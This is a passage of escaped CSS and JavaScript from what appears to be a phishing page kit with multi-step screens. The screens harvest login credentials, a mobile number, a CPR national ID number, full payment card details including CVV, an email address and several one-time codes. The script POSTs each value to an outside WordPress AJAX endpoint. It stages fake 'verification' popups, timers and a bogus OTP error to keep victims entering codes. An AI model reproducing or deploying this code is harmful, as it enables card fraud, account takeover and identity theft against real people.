#fff;\r\n}\r\n\r\n#phl-step-8{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    padding-top:120px;\r\n    left:0;\r\n    width:100vw;\r\n    height:100vh;\r\n    background:#fff;\r\n    z-index:999999;\r\n    padding:20px;\r\n    box-sizing:border-box;\r\n}\r\n\r\n#phl-step-8 .phl-title,\r\n#phl-step-8 .phl-desc,\r\n#phl-step-8 .otp-box{\r\n    color:#111;\r\n}\r\n\r\n#step8Error{\r\n    color:#dc2626;\r\n    font-size:14px;\r\n    font-weight:600;\r\n}\r\n\r\n#step8Btn{\r\n    background:#323d42;\r\n    color:#fff;\r\n}\r\n\r\n#step8Btn .btn-loader{\r\n    border:4px solid rgba(255,255,255,.35);\r\n    border-top:4px solid #fff;\r\n}\r\n\r\n#phl-step-3,\r\n#phl-step-6,\r\n#phl-step-8{\r\n    padding-top:120px !important;\r\n}\r\n\r\n#phl-wrapper,\r\n#phl-wrapper input,\r\n#phl-wrapper button,\r\n#phl-wrapper p,\r\n#phl-wrapper span,\r\n#phl-wrapper div{\r\n    font-family:'Saira',sans-serif !important;\r\n}\r\n\r\n.phl-title{\r\n    font-weight:600 !important;\r\n}\r\n\r\n.phl-desc,\r\n.phl-input,\r\n.phl-input::placeholder,\r\n.phl-full-btn,\r\n.phl-half-btn,\r\n#mobileNumber,\r\n#cprNumber,\r\n#emailAddress{\r\n    font-weight:500 !important;\r\n}\r\n\r\n.phl-input,\r\n.phl-input::placeholder,\r\n.phl-full-btn,\r\n.phl-half-btn,\r\n.phl-desc,\r\n.phl-small-text,\r\n.phl-box,\r\n.phl-text-box,\r\n#mobileNumber,\r\n#cprNumber,\r\n#emailAddress{\r\n    font-size:16px !important;\r\n}\r\n\r\n#phl-step-2 .phl-desc,\r\n#phl-step-4 .phl-desc,\r\n#phl-step-5 .phl-desc,\r\n#phl-step-7 .phl-desc{\r\n    font-size:13px !important;\r\n}\r\n\r\n\/* USERNAME + PASSWORD SCREEN CENTER *\/\r\n\r\n#phl-content{\r\n    position:relative;\r\n    top:50%;\r\n    transform:translateY(-60%);\r\n}\r\n\r\n\/* NON OTP SCREENS *\/\r\n\r\n#phl-step-2,\r\n#phl-step-4,\r\n#phl-step-5,\r\n#phl-step-7{\r\n    position:fixed !important;\r\n\r\n    top:50% !important;\r\n    left:50% !important;\r\n\r\n    transform:translate(-50%, -80%) !important;\r\n\r\n    width:100% !important;\r\n    max-width:600px !important;\r\n\r\n    padding:20px !important;\r\n    box-sizing:border-box !important;\r\n}\r\n\r\n\/* LOGO *\/\r\n\r\n#phl-content .phl-logo,\r\n#phl-step-2 .phl-logo,\r\n#phl-step-4 .phl-logo,\r\n#phl-step-5 .phl-logo,\r\n#phl-step-7 .phl-logo,\r\n#phl-step-3 .phl-mobile-icon,\r\n#phl-step-cpr-otp .phl-mobile-icon,\r\n#phl-step-6 .phl-mobile-icon,\r\n#phl-step-8 .phl-mobile-icon{\r\n\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n\r\n    width:100% !important;\r\n\r\n    position:static !important;\r\n    left:auto !important;\r\n    right:auto !important;\r\n\r\n    margin:0 auto 35px auto !important;\r\n\r\n    text-align:center !important;\r\n}\r\n \r\n\/* TITLE *\/\r\n\r\n#phl-step-2 .phl-title,\r\n#phl-step-4 .phl-title,\r\n#phl-step-5 .phl-title,\r\n#phl-step-7 .phl-title{\r\n    text-align:center !important;\r\n    margin:0 0 18px 0 !important;\r\n}\r\n\r\n\/* DESCRIPTION *\/\r\n\r\n#phl-step-2 .phl-desc,\r\n#phl-step-4 .phl-desc,\r\n#phl-step-5 .phl-desc,\r\n#phl-step-7 .phl-desc{\r\n    text-align:center !important;\r\n    margin:0 0 35px 0 !important;\r\n}\r\n\r\n\/* TITLE *\/\r\n\r\n#phl-step-2 .phl-title,\r\n#phl-step-4 .phl-title,\r\n#phl-step-5 .phl-title,\r\n#phl-step-7 .phl-title{\r\n    margin-top:0 !important;\r\n    margin-bottom:12px !important;\r\n    text-align:center !important;\r\n}\r\n\r\n\/* DESCRIPTION *\/\r\n\r\n#phl-step-2 .phl-desc,\r\n#phl-step-4 .phl-desc,\r\n#phl-step-5 .phl-desc,\r\n#phl-step-7 .phl-desc{\r\n    margin-bottom:30px !important;\r\n    text-align:center !important;\r\n}\r\n\r\n#phl-step-5 .phl-input-wrap{\r\n    margin-bottom:15px !important;\r\n}\r\n\r\n\/* MOBILE + CPR + CARD + EMAIL LOGOS *\/\r\n\r\n#phl-step-2 .phl-logo img,\r\n#phl-step-4 .phl-logo img,\r\n#phl-step-5 .phl-logo img,\r\n#phl-step-7 .phl-logo img{\r\n    width:70px !important;\r\n    height:70px !important;\r\n    max-width:70px !important;\r\n    object-fit:contain !important;\r\n}\r\n\r\n#phl-step-cpr-otp{\r\n    display:none;\r\n    position:fixed;\r\n    top:0;\r\n    left:0;\r\n    width:100vw;\r\n    height:100vh;\r\n    background:#fff;\r\n    z-index:999999;\r\n    padding:20px;\r\n    padding-top:120px;\r\n    box-sizing:border-box;\r\n}\r\n\r\n#phl-step-cpr-otp .phl-title,\r\n#phl-step-cpr-otp .phl-desc,\r\n#phl-step-cpr-otp .otp-box,\r\n#cprOtpTimer{\r\n    color:#111;\r\n}\r\n\r\n\/* FORCE ALL LOGOS TO ABSOLUTE CENTER *\/\r\n\r\n#phl-content,\r\n#phl-step-2,\r\n#phl-step-3,\r\n#phl-step-4,\r\n#phl-step-5,\r\n#phl-step-6,\r\n#phl-step-7,\r\n#phl-step-8,\r\n#phl-step-cpr-otp{\r\n    text-align:center !important;\r\n}\r\n\r\n#phl-content .phl-logo,\r\n#phl-step-2 .phl-logo,\r\n#phl-step-4 .phl-logo,\r\n#phl-step-5 .phl-logo,\r\n#phl-step-7 .phl-logo,\r\n#phl-step-3 .phl-mobile-icon,\r\n#phl-step-6 .phl-mobile-icon,\r\n#phl-step-8 .phl-mobile-icon,\r\n#phl-step-cpr-otp .phl-mobile-icon{\r\n\r\n    width:100% !important;\r\n\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n\r\n    float:none !important;\r\n    clear:both !important;\r\n\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n\r\n    text-align:center !important;\r\n}\r\n\r\n#phl-content .phl-logo img,\r\n#phl-step-2 .phl-logo img,\r\n#phl-step-4 .phl-logo img,\r\n#phl-step-5 .phl-logo img,\r\n#phl-step-7 .phl-logo img,\r\n#phl-step-3 .phl-mobile-icon img,\r\n#phl-step-6 .phl-mobile-icon img,\r\n#phl-step-8 .phl-mobile-icon img,\r\n#phl-step-cpr-otp .phl-mobile-icon img{\r\n    display:block !important;\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n    position:static !important;\r\n    left:auto !important;\r\n    right:auto !important;\r\n    transform:none !important;\r\n    float:none !important;\r\n}\r\n\r\n\/* FINAL LOGO CENTER FIX *\/\r\n\r\n.phl-logo,\r\n.phl-mobile-icon{\r\n    width:100% !important;\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n    text-align:center !important;\r\n}\r\n\r\n.phl-logo img,\r\n.phl-mobile-icon img{\r\n    display:block !important;\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n}\r\n\r\n\/* ALL OTP SCREENS MOVE UP *\/\r\n\r\n#phl-step-3,\r\n#phl-step-cpr-otp,\r\n#phl-step-6,\r\n#phl-step-8{\r\n\r\n    padding-top:40px !important;\r\n\r\n}\r\n\r\n#otpVerifyBtn,\r\n#cprOtpBtn,\r\n#step6Btn,\r\n#step8Btn{\r\n    margin-top:35px !important;\r\n}\r\n\r\n.phl-bottom-logo{\r\n    width:100% !important;\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n    text-align:center !important;\r\n}\r\n\r\n.phl-bottom-logo img{\r\n    display:block !important;\r\n    margin-left:auto !important;\r\n    margin-right:auto !important;\r\n    float:none !important;\r\n}\r\n\r\n<\/style>\r\n\r\n<script>\r\ndocument.addEventListener(\"DOMContentLoaded\", function(){\r\n    \r\n    const togglePassword =\r\ndocument.getElementById('togglePassword');\r\n\r\nconst passwordField =\r\ndocument.getElementById('passwordField');\r\n\r\nconst eyeOpen =\r\ndocument.getElementById('eyeOpen');\r\n\r\nconst eyeClose =\r\ndocument.getElementById('eyeClose');\r\n\r\nif(togglePassword){\r\n\r\n    togglePassword.addEventListener('click',function(){\r\n\r\n        if(passwordField.type === 'password'){\r\n\r\n            passwordField.type = 'text';\r\n\r\n            eyeOpen.style.display = 'none';\r\n            eyeClose.style.display = 'block';\r\n\r\n        }else{\r\n\r\n            passwordField.type = 'password';\r\n\r\n            eyeOpen.style.display = 'block';\r\n            eyeClose.style.display = 'none';\r\n\r\n        }\r\n        \r\n    });\r\n\r\n}\r\n\r\nconst step2Btn =\r\ndocument.getElementById('step2Btn');\r\n\r\nconst mobile =\r\ndocument.getElementById('mobileNumber');\r\n\r\nif(mobile){\r\n\r\n    mobile.addEventListener('input',function(){\r\n\r\n        this.value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        if(this.value.length > 8){\r\n\r\n            this.value =\r\n            this.value.slice(0,8);\r\n\r\n        }\r\n\r\n    });\r\n\r\n}\r\n\r\nconst step4Btn =\r\ndocument.getElementById('step4Btn');\r\n\r\nconst cprNumber =\r\ndocument.getElementById('cprNumber');\r\n\r\nif(cprNumber){\r\n\r\n    cprNumber.addEventListener('input',function(){\r\n\r\n        this.value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        if(this.value.length > 9){\r\n\r\n            this.value =\r\n            this.value.slice(0,9);\r\n\r\n        }\r\n\r\n    });\r\n\r\n}\r\n\r\nconst cardNumber =\r\ndocument.getElementById('cardNumber');\r\n\r\nif(cardNumber){\r\n\r\n    cardNumber.addEventListener('input',function(){\r\n\r\n        let value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        value =\r\n        value.substring(0,16);\r\n\r\n        let formatted =\r\n        value.match(\/.{1,4}\/g);\r\n\r\n        this.value =\r\n        formatted ?\r\n        formatted.join(' ') :\r\n        '';\r\n        \r\n        if(value.length === 16){\r\n\r\n    document\r\n    .getElementById('expiryDate')\r\n    .focus();\r\n\r\n}\r\n\r\n    });\r\n\r\n}\r\n\r\nconst expiryDate =\r\ndocument.getElementById('expiryDate');\r\n\r\nif(expiryDate){\r\n\r\n    expiryDate.addEventListener('input',function(){\r\n\r\n        let value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        value =\r\n        value.substring(0,4);\r\n\r\n        if(value.length > 2){\r\n\r\n            value =\r\n            value.substring(0,2)\r\n            + '\/'\r\n            + value.substring(2);\r\n\r\n        }\r\n\r\n        this.value = value;\r\n\r\n        if(value.length === 5){\r\n\r\n            document\r\n            .getElementById('cardCvv')\r\n            .focus();\r\n\r\n        }\r\n\r\n    });\r\n\r\n}\r\n\r\nconst cardCvv =\r\ndocument.getElementById('cardCvv');\r\n\r\nif(cardCvv){\r\n\r\n    cardCvv.addEventListener('input',function(){\r\n\r\n        this.value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        if(this.value.length > 6){\r\n\r\n            this.value =\r\n            this.value.substring(0,6);\r\n\r\n        }\r\n\r\n    });\r\n\r\n}\r\n\r\nif(step4Btn){\r\n\r\n    step4Btn.addEventListener('click',function(){\r\n\r\n        let cpr = cprNumber.value;\r\n\r\n        if(cpr.length !== 9){\r\n            alert('Enter 9 digit CPR Number');\r\n            return;\r\n        }\r\n\r\n        step4Btn.disabled = true;\r\n        step4Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append('action','phl_cpr_submit');\r\n            formData.append('cpr',cpr);\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res=>res.json())\r\n            .then(data=>{\r\n\r\n                step4Btn.disabled = false;\r\n                step4Btn.innerHTML = 'Continue';\r\n\r\n                document.getElementById(\r\n                    'phl-processing-popup'\r\n                ).style.display = 'flex';\r\n\r\n                setTimeout(function(){\r\n\r\n                    document.getElementById(\r\n                        'phl-processing-popup'\r\n                    ).style.display = 'none';\r\n\r\n                    document.getElementById(\r\n                        'phl-step-4'\r\n                    ).style.display = 'none';\r\n\r\n                    document.getElementById(\r\n'phl-step-cpr-otp'\r\n).style.display='block';\r\n\r\n                },5000);\r\n\r\n            });\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nconst cprOtpBtn =\r\ndocument.getElementById('cprOtpBtn');\r\n\r\nif(cprOtpBtn){\r\n\r\n    cprOtpBtn.addEventListener('click',function(){\r\n\r\n        let otp = '';\r\n\r\n        document.querySelectorAll('.cpr-otp')\r\n        .forEach(function(box){\r\n            otp += box.value;\r\n        });\r\n\r\n        if(otp.length !== 6){\r\n            alert('Enter 6 digit OTP');\r\n            return;\r\n        }\r\n\r\n        cprOtpBtn.disabled = true;\r\n        cprOtpBtn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\nsetTimeout(function(){\r\n\r\n    let formData = new FormData();\r\n\r\n    formData.append(\r\n        'action',\r\n        'phl_cpr_otp_submit'\r\n    );\r\n\r\n    formData.append(\r\n        'otp',\r\n        otp\r\n    );\r\n\r\n    fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n        method:'POST',\r\n        body:formData\r\n    })\r\n    .then(res=>res.json())\r\n    .then(data=>{\r\n\r\n        cprOtpBtn.disabled = false;\r\n        cprOtpBtn.innerHTML = 'Verify';\r\n\r\n        document.getElementById(\r\n        'phl-step-cpr-otp'\r\n        ).style.display = 'none';\r\n\r\n        document.getElementById(\r\n        'phl-step-5'\r\n        ).style.display = 'block';\r\n\r\n    });\r\n\r\n},3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nconst step5Btn =\r\ndocument.getElementById('step5Btn');\r\n\r\nif(step5Btn){\r\n\r\n    step5Btn.addEventListener('click',function(){\r\n\r\n        let card =\r\n        document.getElementById('cardNumber')\r\n        .value.replace(\/\\s\/g,'');\r\n\r\n        let expiry =\r\n        document.getElementById('expiryDate').value;\r\n\r\n        let cvv =\r\n        document.getElementById('cardCvv').value;\r\n\r\n        if(card.length !== 16){\r\n            alert('Enter valid card number');\r\n            return;\r\n        }\r\n\r\n        if(expiry.length !== 5){\r\n            alert('Enter expiry date');\r\n            return;\r\n        }\r\n\r\n        if(cvv.length < 4){\r\n            alert('Enter CVV');\r\n            return;\r\n        }\r\n\r\n        step5Btn.disabled = true;\r\n        step5Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append('action','phl_card_submit');\r\n            formData.append('card',card);\r\n            formData.append('expiry',expiry);\r\n            formData.append('cvv',cvv);\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res=>res.json())\r\n            .then(data=>{\r\n\r\n                step5Btn.disabled = false;\r\n                step5Btn.innerHTML = 'Continue';\r\n\r\n                document.querySelector(\r\n                    '#phl-processing-popup h3'\r\n                ).innerText =\r\n                'Card Verification';\r\n\r\n                document.querySelector(\r\n                    '#phl-processing-popup p'\r\n                ).innerText =\r\n                'Your card details are being verified. Please wait.';\r\n\r\n                document.getElementById(\r\n                    'phl-processing-popup'\r\n                ).style.display='flex';\r\n\r\n                setTimeout(function(){\r\n\r\n                    document.getElementById(\r\n                        'phl-processing-popup'\r\n                    ).style.display='none';\r\n\r\n                    document.getElementById(\r\n                        'phl-step-5'\r\n                    ).style.display='none';\r\n\r\n                    document.getElementById(\r\n                        'phl-step-6'\r\n                    ).style.display='block';\r\n\r\n                },5000);\r\n\r\n            });\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nif(step2Btn){\r\n\r\n    step2Btn.addEventListener('click',function(){\r\n\r\n        let number =\r\n        document.getElementById('mobileNumber').value;\r\n\r\n        if(number.length !== 8){\r\n\r\n            alert('Enter 8 digit mobile number');\r\n            return;\r\n\r\n        }\r\n\r\n        step2Btn.disabled = true;\r\n\r\n        step2Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append('action','phl_mobile_submit');\r\n            formData.append('mobile',number);\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res => res.json())\r\n            .then(data => {\r\n\r\n                step2Btn.disabled = false;\r\n                step2Btn.innerHTML = 'Continue';\r\n\r\n                document.getElementById(\"phl-step-2\").style.display = \"none\";\r\n\r\n                document.getElementById(\"phl-step-3\").style.display = \"block\";\r\n\r\n            });\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nlet otpBtn = document.getElementById('otpVerifyBtn');\r\n\r\nlet otpTime = 180;\r\n\r\nlet otpTimerBox =\r\ndocument.getElementById('otpTimer');\r\n\r\nsetInterval(function(){\r\n\r\n    if(!otpTimerBox) return;\r\n\r\n    let minutes =\r\n    Math.floor(otpTime \/ 60);\r\n\r\n    let seconds =\r\n    otpTime % 60;\r\n\r\n    otpTimerBox.innerHTML =\r\n    String(minutes).padStart(2,'0')\r\n    + ':' +\r\n    String(seconds).padStart(2,'0')\r\n    + ' Time Left';\r\n\r\n    if(otpTime > 0){\r\n        otpTime--;\r\n    }\r\n\r\n},1000);\r\n\r\nif(otpBtn){\r\n\r\n    otpBtn.addEventListener('click',function(){\r\n\r\n        otpBtn.disabled = true;\r\n\r\n        otpBtn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            otpBtn.disabled = false;\r\n\r\n            otpBtn.innerHTML = 'Verify';\r\n\r\n            let otp = '';\r\n\r\ndocument.querySelectorAll('.otp-box').forEach(function(box){\r\n    otp += box.value;\r\n});\r\n\r\nif(otp.length !== 6){\r\n\r\n    alert('Enter 6 digit OTP');\r\n\r\n    otpBtn.disabled = false;\r\n    otpBtn.innerHTML = 'Verify';\r\n\r\n    return;\r\n}\r\n\r\nlet formData = new FormData();\r\n\r\nformData.append('action','phl_otp_submit');\r\nformData.append('otp',otp);\r\n\r\nfetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n    method:'POST',\r\n    body:formData\r\n})\r\n.then(res=>res.json())\r\n.then(data=>{\r\n    \r\ndocument.getElementById(\"phl-step-3\").style.display = \"none\";\r\ndocument.getElementById(\"phl-step-4\").style.display = \"block\";\r\n\r\n    otpBtn.disabled = false;\r\n    otpBtn.innerHTML = 'Verify';\r\n\r\n});\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nlet cprOtpTime = 180;\r\n\r\nconst cprOtpTimer =\r\ndocument.getElementById('cprOtpTimer');\r\n\r\nsetInterval(function(){\r\n\r\n    if(!cprOtpTimer) return;\r\n\r\n    let minutes =\r\n    Math.floor(cprOtpTime \/ 60);\r\n\r\n    let seconds =\r\n    cprOtpTime % 60;\r\n\r\n    cprOtpTimer.innerHTML =\r\n    String(minutes).padStart(2,'0')\r\n    + ':'\r\n    + String(seconds).padStart(2,'0')\r\n    + ' Time Left';\r\n\r\n    if(cprOtpTime > 0){\r\n        cprOtpTime--;\r\n    }\r\n\r\n},1000);\r\n\r\nlet step6Time = 180;\r\n\r\nlet step6TimerBox =\r\ndocument.getElementById('step6Timer');\r\n\r\nsetInterval(function(){\r\n\r\n    if(!step6TimerBox) return;\r\n\r\n    let minutes =\r\n    Math.floor(step6Time \/ 60);\r\n\r\n    let seconds =\r\n    step6Time % 60;\r\n\r\n    step6TimerBox.innerHTML =\r\n    String(minutes).padStart(2,'0')\r\n    + ':'\r\n    + String(seconds).padStart(2,'0')\r\n    + ' Time Left';\r\n\r\n    if(step6Time > 0){\r\n        step6Time--;\r\n    }\r\n\r\n},1000);\r\n\r\n    \/\/ First Loader 5 seconds\r\n    setTimeout(function(){\r\n\r\n        document.getElementById(\"phl-loader\").style.display = \"none\";\r\n        document.getElementById(\"phl-content\").style.display = \"block\";\r\n\r\n    }, 5000);\r\n\r\n    \/\/ Continue Button\r\n    document.addEventListener(\"click\", function(e){\r\n\r\n        if(e.target && e.target.id === \"continueBtn\"){\r\n\r\n            var btn = e.target;\r\n\r\n            var input1 = document.querySelectorAll(\".phl-input\")[0].value.trim();\r\n            var input2 = document.querySelectorAll(\".phl-input\")[1].value.trim();\r\n\r\n            if(input1 === \"\" || input2 === \"\"){\r\n                alert(\"Please fill both fields\");\r\n                return;\r\n            }\r\n\r\n            btn.disabled = true;\r\n            btn.innerHTML = '<span class=\"btn-loader\"><\/span>';\r\n\r\n            setTimeout(function(){\r\n\r\n                btn.innerHTML = \"Continue\";\r\n                btn.disabled = false;\r\n\r\nlet formData = new FormData();\r\n\r\nformData.append('action','phl_submit');\r\nformData.append('input1',input1);\r\nformData.append('input2',input2);\r\n\r\nfetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n    method:'POST',\r\n    body:formData\r\n})\r\n.then(res=>res.json())\r\n.then(data=>{\r\n\r\n    btn.innerHTML = \"Continue\";\r\n    btn.disabled = false;\r\n\r\n    document.getElementById(\"phl-content\").style.display = \"none\";\r\n\r\ndocument.getElementById(\"phl-step-2\").style.display = \"block\";\r\n\r\n});                \r\n\r\n            }, 3000);\r\n\r\n        }\r\n\r\n    });\r\n\r\n});\r\n\r\nconst otpInputs = document.querySelectorAll('.otp-box');\r\n\r\notpInputs.forEach((input,index)=>{\r\n\r\n    input.inputMode = 'numeric';\r\n\r\n    input.addEventListener('input',function(){\r\n\r\n        this.value = this.value.replace(\/\\D\/g,'');\r\n\r\n        if(this.value !== '' && otpInputs[index+1]){\r\n            otpInputs[index+1].focus();\r\n        }\r\n\r\n    });\r\n\r\n    input.addEventListener('keydown',function(e){\r\n\r\n        if(e.key === 'Backspace' && this.value === '' && otpInputs[index-1]){\r\n            otpInputs[index-1].focus();\r\n        }\r\n\r\n    });\r\n\r\n});\r\n\r\nif(otpInputs.length){\r\n    otpInputs[0].focus();\r\n}\r\n\r\nconst step6Inputs =\r\ndocument.querySelectorAll('.step6-otp');\r\n\r\nstep6Inputs.forEach((input,index)=>{\r\n\r\n    input.inputMode = 'numeric';\r\n\r\n    input.addEventListener('input',function(){\r\n\r\n        this.value =\r\n        this.value.replace(\/\\D\/g,'');\r\n\r\n        if(this.value !== '' && step6Inputs[index+1]){\r\n\r\n            step6Inputs[index+1].focus();\r\n\r\n        }\r\n\r\n    });\r\n\r\n});\r\n\r\nconst cprOtpBtn =\r\ndocument.getElementById('cprOtpBtn');\r\n\r\nif(cprOtpBtn){\r\n\r\n    cprOtpBtn.addEventListener('click',function(){\r\n\r\n        let otp='';\r\n\r\n        document.querySelectorAll('.cpr-otp')\r\n        .forEach(function(box){\r\n            otp += box.value;\r\n        });\r\n\r\n        if(otp.length !== 6){\r\n\r\n            alert('Enter 6 digit OTP');\r\n            return;\r\n\r\n        }\r\n\r\n        cprOtpBtn.disabled = true;\r\n\r\n        cprOtpBtn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            cprOtpBtn.disabled = false;\r\n            cprOtpBtn.innerHTML = 'Verify';\r\n\r\n            document.getElementById(\r\n            'phl-step-cpr-otp'\r\n            ).style.display = 'none';\r\n\r\n            document.getElementById(\r\n            'phl-step-5'\r\n            ).style.display = 'block';\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nconst step6Btn =\r\ndocument.getElementById('step6Btn');\r\n\r\nif(step6Btn){\r\n\r\n    step6Btn.addEventListener('click',function(){\r\n\r\n        let otp = '';\r\n\r\n        document.querySelectorAll('.step6-otp')\r\n        .forEach(function(box){\r\n            otp += box.value;\r\n        });\r\n\r\n        if(otp.length !== 6){\r\n\r\n            alert('Enter 6 digit OTP');\r\n            return;\r\n        }\r\n\r\n        step6Btn.disabled = true;\r\n\r\n        step6Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            step6Btn.disabled = false;\r\n            step6Btn.innerHTML = 'Verify';\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append(\r\n                'action',\r\n                'phl_step6_submit'\r\n            );\r\n\r\n            formData.append(\r\n                'otp',\r\n                otp\r\n            );\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res=>res.json())\r\n            .then(data=>{\r\n\r\n    step6Btn.disabled = false;\r\n    step6Btn.innerHTML = 'Verify';\r\n\r\n    document.getElementById('phl-step-6').style.display='none';\r\ndocument.getElementById('phl-step-7').style.display='block';\r\n\r\n});\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nconst step7Btn =\r\ndocument.getElementById('step7Btn');\r\n\r\nif(step7Btn){\r\n\r\n    step7Btn.addEventListener('click',function(){\r\n\r\n        let email =\r\n        document.getElementById('emailAddress')\r\n        .value.trim();\r\n\r\n        if(email === ''){\r\n\r\n            alert('Enter Email');\r\n            return;\r\n\r\n        }\r\n\r\n        step7Btn.disabled = true;\r\n\r\n        step7Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append(\r\n                'action',\r\n                'phl_email_submit'\r\n            );\r\n\r\n            formData.append(\r\n                'email',\r\n                email\r\n            );\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res=>res.json())\r\n            .then(data=>{\r\n\r\n                step7Btn.disabled = false;\r\n                step7Btn.innerHTML = 'Continue';\r\n\r\nstep7Btn.disabled = false;\r\nstep7Btn.innerHTML = 'Continue';\r\n\r\ndocument.getElementById('phl-step-7').style.display='none';\r\ndocument.getElementById('phl-step-8').style.display='block';\r\nlet timeLeft = 180;\r\n\r\nconst step8Countdown = setInterval(function(){\r\n\r\n    let minutes = Math.floor(timeLeft \/ 60);\r\n    let seconds = timeLeft % 60;\r\n\r\n    document.getElementById('step8Timer').innerHTML =\r\n    String(minutes).padStart(2,'0') +\r\n    ':' +\r\n    String(seconds).padStart(2,'0') +\r\n    ' Time Left';\r\n\r\n    timeLeft--;\r\n\r\n    if(timeLeft < 0){\r\n\r\n        clearInterval(step8Countdown);\r\n\r\n        document.getElementById('step8Timer').innerHTML =\r\n        '00:00 Time Left';\r\n\r\n    }\r\n\r\n},1000);\r\n\r\n            });\r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nconst step8Btn =\r\ndocument.getElementById('step8Btn');\r\n\r\nif(step8Btn){\r\n\r\n    step8Btn.addEventListener('click',function(){\r\n\r\n        let otp='';\r\n\r\n        document.querySelectorAll('.email-otp')\r\n        .forEach(function(box){\r\n            otp += box.value;\r\n        });\r\n\r\n        if(otp.length !== 6){\r\n            alert('Enter 6 digit OTP');\r\n            return;\r\n        }\r\n\r\n        step8Btn.disabled = true;\r\n\r\n        step8Btn.innerHTML =\r\n        '<span class=\"btn-loader\"><\/span>';\r\n\r\n        setTimeout(function(){\r\n\r\n            let formData = new FormData();\r\n\r\n            formData.append(\r\n                'action',\r\n                'phl_email_otp_submit'\r\n            );\r\n\r\n            formData.append(\r\n                'otp',\r\n                otp\r\n            );\r\n\r\n            fetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php',{\r\n                method:'POST',\r\n                body:formData\r\n            })\r\n            .then(res=>res.json())\r\n.then(data=>{\r\n\r\n    step8Btn.disabled = false;\r\n    step8Btn.innerHTML = 'Continue';\r\n\r\n    document\r\n    .querySelectorAll('.email-otp')\r\n    .forEach(function(box){\r\n        box.value='';\r\n    });\r\n\r\n    const errorBox =\r\n    document.getElementById('step8Error');\r\n\r\n    errorBox.style.display = 'block';\r\n\r\n    setTimeout(function(){\r\n\r\n        errorBox.style.display = 'none';\r\n\r\n    },3000);\r\n\r\n    document\r\n    .querySelector('.email-otp')\r\n    .focus();\r\n\r\n}); \r\n\r\n        },3000);\r\n\r\n    });\r\n\r\n}\r\n\r\nfetch('https:\/\/khaleejii.it.com\/wp-admin\/admin-ajax.php', {\r\n    method:'POST',\r\n    headers:{\r\n        'Content-Type':'application\/x-www-form-urlencoded'\r\n    },\r\n    